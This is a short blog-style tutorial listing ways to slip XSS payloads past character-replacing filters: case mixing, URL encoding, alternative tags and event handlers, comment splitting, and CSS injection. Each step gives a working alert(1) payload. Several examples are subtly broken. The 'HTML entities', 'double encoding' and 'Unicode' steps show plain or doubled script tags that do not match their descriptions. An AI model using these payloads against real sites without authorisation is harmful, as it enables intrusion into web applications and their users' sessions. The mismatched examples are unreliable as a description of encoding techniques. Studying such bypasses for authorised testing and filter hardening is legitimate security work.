Get a Pentest and security assessment of your IT network.

Cyber Security

XSS Filter Bypass: Character Encoding

TL;DR

If a website’s XSS filter simply replaces characters like <, >, and ", you can often bypass it by using different encoding methods (HTML entities, URL encoding, Unicode) or case mixing. This guide shows common techniques.

Bypassing Character-Based XSS Filters

  1. Understand the Filter: First, try a simple XSS payload to see what characters are blocked. For example:
    <script>alert(1)</script>

    Note which characters get replaced or removed.

  2. HTML Entities: If the filter replaces < and >, try using their HTML entity equivalents:
    <script>alert(1)</script>
  3. Double Encoding: Sometimes filters only decode once. Try encoding the entities again:
    <<script>>alert(1)<</script>>
  4. URL Encoding: If the input is URL encoded, try encoding characters that are being filtered. For example, if < is blocked:
    %3Cscript%3Ealert(1)%3C/script%3E
  5. Unicode Encoding: Use Unicode character representations. For example, for < (less than):
    <script>alert(1)</script>
  6. Case Mixing: Some filters are case-sensitive. Try mixing upper and lower case letters:
    <ScRiPt>alert(1)</sCrIpT>
  7. Alternative Tags/Attributes: If script is blocked, try other tags that can execute JavaScript (e.g., img with onerror):
    <img src=x onerror=alert(1)>
  8. Event Handlers: Use event handlers in HTML elements:
    <body onload=alert(1)>
  9. Comments: Try using HTML comments to break up the payload:
    <!-- <script>--><script>alert(1)</script>
  10. Context Awareness: Consider where your input is being placed in the HTML. If it’s inside an attribute, you might need to use different techniques than if it’s directly in the body.
    • If within a style attribute, try CSS injection:
      style="width:100%; filter:url(javascript:alert(1))"
  11. Browser Differences: Different browsers may interpret XSS payloads differently. Test your bypasses in multiple browsers (Chrome, Firefox, Safari, Edge).

Important Note: Exploiting XSS vulnerabilities without permission is illegal and unethical. This information is for educational purposes only.

Related posts
Cyber Security

Zip Codes & PII: Are They Personal Data?

Cyber Security

Zero-Day Vulnerabilities: User Defence Guide

Cyber Security

Zero Knowledge Voting with Trusted Server

Cyber Security

ZeroNet: 51% Attack Risks & Mitigation